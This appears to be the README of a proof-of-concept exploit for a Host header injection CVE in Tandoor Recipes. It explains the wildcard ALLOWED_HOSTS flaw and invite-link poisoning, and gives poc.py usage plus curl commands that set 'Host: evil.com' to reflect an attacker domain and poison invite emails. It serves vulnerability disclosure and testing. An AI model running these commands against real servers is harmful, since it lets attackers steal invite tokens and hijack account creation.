
Proof-of-concept exploit for CVE-2026-33149, a Host header injection in Tandoor Recipes that enables invite link poisoning and cache poisoning. Includes modules for host acceptance, pagination, schema, and invite poisoning.
Tandoor Recipes sets ALLOWED_HOSTS = '*' by default in settings.py, causing Django to accept any value in the HTTP Host header without validation. The application uses request.build_absolute_uri() to generate absolute URLs in multiple security-sensitive contexts. An attacker who can send requests with a crafted Host header can redirect all server-generated URLs to an attacker-controlled domain.
The most critical impact is invite link poisoning: when an admin creates a user invite, the email sent by the server contains a link pointing to the attacker's domain. The victim clicks a legitimate-looking email, the invite token is exfiltrated, and the attacker uses it to hijack the account provisioning flow.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — Improper Neutralization of HTTP Headers for Scripting Syntax |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| Affected Version | Tandoor Recipes ≤ 2.5.3 |
| Vendor | TandoorRecipes/recipes |
| Technique ID | Name | Relevance |
|---|---|---|
| T1557 | Adversary-in-the-Middle | Manipulating server-generated URLs to redirect traffic |
| T1566.002 | Phishing: Spearphishing Link | Poisoned invite email contains attacker-controlled link |
File: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
Django's ALLOWED_HOSTS is a security measure that validates the Host header against a whitelist. The wildcard '*' disables this validation entirely, allowing any arbitrary value.
File: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() constructs URLs using request.get_host(), which returns the raw Host header value when ALLOWED_HOSTS does not restrict it. The invite UUID — a secret token — is embedded in the URL that now points to the attacker.
build_absolute_uri() for next/previous URLs┌──────────┐ ① Crafted Request ┌─────────────────┐
│ Attacker │ ──────────────────────────────→│ Tandoor Server │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
uses "attacker.com"
│
▼
┌────────────────┐
│ SMTP Server │
└────────┬───────┘
│
③ Email with poisoned link:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ Victim │
│ (clicks link) │
└────────┬───────┘
│
④ UUID sent to attacker
│
▼
┌────────────────┐
│ Attacker │
│ uses UUID at │
│ real server │
└────────────────┘
requests librarypip install requests
# Run all validation modules with basic auth
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# Run all modules with session cookies
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# Invite link poisoning only
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| Module | Description |
|---|---|
host-accept | Verifies that the target accepts arbitrary Host headers (ALLOWED_HOSTS = '*') |
pagination | Confirms API pagination URLs reflect the injected domain |
schema | Confirms OpenAPI schema server URLs reflect the injected domain |
invite | Creates a poisoned invite link — the primary attack vector |
all | Runs all modules sequentially |
1. Host Header Acceptance
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# Expected: 200 (vulnerable) | 400 (patched)
2. Pagination URL Reflection
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# Expected: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. Schema URL Reflection
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Expected: http://evil.com/...